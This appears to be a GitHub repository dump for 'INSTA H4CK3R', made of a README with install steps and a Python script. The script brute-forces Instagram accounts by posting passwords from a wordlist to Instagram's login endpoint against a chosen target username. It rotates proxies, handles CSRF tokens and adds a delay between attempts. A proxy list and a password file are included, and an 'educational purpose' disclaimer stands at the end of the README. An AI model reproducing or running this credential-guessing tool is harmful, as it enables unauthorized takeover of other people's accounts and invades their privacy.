12 | New Tool for Instagram Hacking. Bruteforce Method 13 |
14 | 15 | ## About INSTA H4CK3R : 16 | 17 | Insta Hacker is a python based Script. You can use this script for hacking Instagram (bruteforce). 18 | 19 |  20 | 21 | ### INSTA H4CK3R is available for 22 | 23 | • Termux 24 | 25 | • Kali-Linux 26 | 27 | • Ubuntu 28 | 29 | ### Installation and usage guide 30 | ``` 31 | ``` 32 | $ apt-get update -y 33 | ``` 34 | ``` 35 | $ apt-get upgrade -y 36 | ``` 37 | ``` 38 | $ pkg install git -y 39 | ``` 40 | ``` 41 | $ git clone https://github.com/Stephin-Franklin/Hack-Insta 42 | ``` 43 | ``` 44 | $ ls 45 | ``` 46 | ``` 47 | $ cd Hack-Insta 48 | ``` 49 | ``` 50 | $ ls 51 | ``` 52 | ``` 53 | $ pkg install nano 54 | ``` 55 | ``` 56 | $ Now Enter Some password 57 | ``` 58 | ``` 59 | $ CTRL + X 60 | ``` 61 | ``` 62 | $ python2 hackinsta.py 63 | 64 | * Now it will Ask for Username. Enter Your Target Username 65 | ``` 66 | ``` 67 | * Then it will ask you for, Do you want to use proxy or not (Optional) 68 | ``` 69 | ``` 70 | • After All. It will Start Finding Password 71 | ``` 72 | 73 | ### Subscribe our channel on youtube 74 | https://www.youtube.com/AnonymousTim3 75 | 76 | 77 | ### Warning 78 | 79 | ***This tool is only for educational purpose. If you use this tool for other purposes except education we will not be responsible in such cases.*** 80 | -------------------------------------------------------------------------------- /Screenshot_20191207-024415.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ExpertAnonymous/Hack-Insta/8123889e576e5253d8f49bc97e35474abbb126ee/Screenshot_20191207-024415.png -------------------------------------------------------------------------------- /hackinsta.py: -------------------------------------------------------------------------------- 1 | 2 | ''' 3 | TODO LIST: 4 | Fix and make proxy function better 5 | Sort code again 6 | Add help function to all "Yes/no" questions 7 | Add help function to "Press enter to exit input" 8 | ''' 9 | import requests 10 | import json 11 | import time 12 | import os 13 | import random 14 | import sys 15 | 16 | #Help function 17 | def Input(text): 18 | value = '' 19 | if sys.version_info.major > 2: 20 | value = input(text) 21 | else: 22 | value = raw_input(text) 23 | return str(value) 24 | 25 | #The main class 26 | class Instabrute(): 27 | def __init__(self, username, passwordsFile='pass.txt'): 28 | self.username = username 29 | self.CurrentProxy = '' 30 | self.UsedProxys = [] 31 | self.passwordsFile = passwordsFile 32 | 33 | #Check if passwords file exists 34 | self.loadPasswords() 35 | #Check if username exists 36 | self.IsUserExists() 37 | 38 | 39 | UsePorxy = Input('[*] Do you want to use proxy (y/n): ').upper() 40 | if (UsePorxy == 'Y' or UsePorxy == 'YES'): 41 | self.randomProxy() 42 | 43 | 44 | #Check if password file exists and check if he contain passwords 45 | def loadPasswords(self): 46 | if os.path.isfile(self.passwordsFile): 47 | with open(self.passwordsFile) as f: 48 | self.passwords = f.read().splitlines() 49 | passwordsNumber = len(self.passwords) 50 | if (passwordsNumber > 0): 51 | print ('[*] %s Passwords loads successfully' % passwordsNumber) 52 | else: 53 | print('Password file are empty, Please add passwords to it.') 54 | Input('[*] Press enter to exit') 55 | exit() 56 | else: 57 | print ('Please create passwords file named "%s"' % self.passwordsFile) 58 | Input('[*] Press enter to exit') 59 | exit() 60 | 61 | #Choose random proxy from proxys file 62 | def randomProxy(self): 63 | plist = open('proxy.txt').read().splitlines() 64 | proxy = random.choice(plist) 65 | 66 | if not proxy in self.UsedProxys: 67 | self.CurrentProxy = proxy 68 | self.UsedProxys.append(proxy) 69 | try: 70 | print('') 71 | print('[*] Check new ip...') 72 | print ('[*] Your public ip: %s' % requests.get('http://myexternalip.com/raw', proxies={ "http": proxy, "https": proxy },timeout=10.0).text) 73 | except Exception as e: 74 | print ('[*] Can\'t reach proxy "%s"' % proxy) 75 | print('') 76 | 77 | 78 | #Check if username exists in instagram server 79 | def IsUserExists(self): 80 | r = requests.get('https://www.instagram.com/%s/?__a=1' % self.username) 81 | if (r.status_code == 404): 82 | print ('[*] User named "%s" not found' % username) 83 | Input('[*] Press enter to exit') 84 | exit() 85 | elif (r.status_code == 200): 86 | return True 87 | 88 | #Try to login with password 89 | def Login(self, password): 90 | sess = requests.Session() 91 | 92 | if len(self.CurrentProxy) > 0: 93 | sess.proxies = { "http": self.CurrentProxy, "https": self.CurrentProxy } 94 | 95 | #build requests headers 96 | sess.cookies.update ({'sessionid' : '', 'mid' : '', 'ig_pr' : '1', 'ig_vw' : '1920', 'csrftoken' : '', 's_network' : '', 'ds_user_id' : ''}) 97 | sess.headers.update({ 98 | 'UserAgent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36', 99 | 'x-instagram-ajax':'1', 100 | 'X-Requested-With': 'XMLHttpRequest', 101 | 'origin': 'https://www.instagram.com', 102 | 'ContentType' : 'application/x-www-form-urlencoded', 103 | 'Connection': 'keep-alive', 104 | 'Accept': '*/*', 105 | 'Referer': 'https://www.instagram.com', 106 | 'authority': 'www.instagram.com', 107 | 'Host' : 'www.instagram.com', 108 | 'Accept-Language' : 'en-US;q=0.6,en;q=0.4', 109 | 'Accept-Encoding' : 'gzip, deflate' 110 | }) 111 | 112 | #Update token after enter to the site 113 | r = sess.get('https://www.instagram.com/') 114 | sess.headers.update({'X-CSRFToken' : r.cookies.get_dict()['csrftoken']}) 115 | 116 | #Update token after login to the site 117 | r = sess.post('https://www.instagram.com/accounts/login/ajax/', data={'username':self.username, 'password':password}, allow_redirects=True) 118 | sess.headers.update({'X-CSRFToken' : r.cookies.get_dict()['csrftoken']}) 119 | 120 | #parse response 121 | data = json.loads(r.text) 122 | if (data['status'] == 'fail'): 123 | print (data['message']) 124 | 125 | UsePorxy = Input('[*] Do you want to use proxy (y/n): ').upper() 126 | if (UsePorxy == 'Y' or UsePorxy == 'YES'): 127 | print ('[$] Try to use proxy after fail.') 128 | randomProxy() #Check that, may contain bugs 129 | return False 130 | 131 | #return session if password is correct 132 | if (data['authenticated'] == True): 133 | return sess 134 | else: 135 | return False 136 | 137 | 138 | os.system("clear") 139 | os.system("figlet INSTA H4CK3R") 140 | print 141 | print "Author : Stephin-Franklin" 142 | print "YouTube : https://www.youtube.com/AnonymousTim3" 143 | print "github : https://github.com/Stephin-Franklin" 144 | print "Instagram : https://www.instagram.com/st1chb45h" 145 | print 146 | 147 | 148 | 149 | instabrute = Instabrute(Input('Please enter a username: ')) 150 | 151 | try: 152 | delayLoop = int(Input('[*] Please add delay between the bruteforce action (in seconds): ')) 153 | except Exception as e: 154 | print ('[*] Error, software use the defult value "4"') 155 | delayLoop = 4 156 | print ('') 157 | 158 | 159 | 160 | for password in instabrute.passwords: 161 | sess = instabrute.Login(password) 162 | if sess: 163 | print ('[*] Login success %s' % [instabrute.username,password]) 164 | else: 165 | print ('[*] Password incorrect [%s]' % password) 166 | 167 | try: 168 | time.sleep(delayLoop) 169 | except KeyboardInterrupt: 170 | WantToExit = str(Input('Type y/n to exit: ')).upper() 171 | if (WantToExit == 'Y' or WantToExit == 'YES'): 172 | exit() 173 | else: 174 | continue 175 | 176 | -------------------------------------------------------------------------------- /pass.txt: -------------------------------------------------------------------------------- 1 | Subscribe 2 | Mr Stephin 3 | YouTube 4 | Channel -------------------------------------------------------------------------------- /proxy.txt: -------------------------------------------------------------------------------- 1 | 51.15.46.137 2 | 149.56.81.59 3 | --------------------------------------------------------------------------------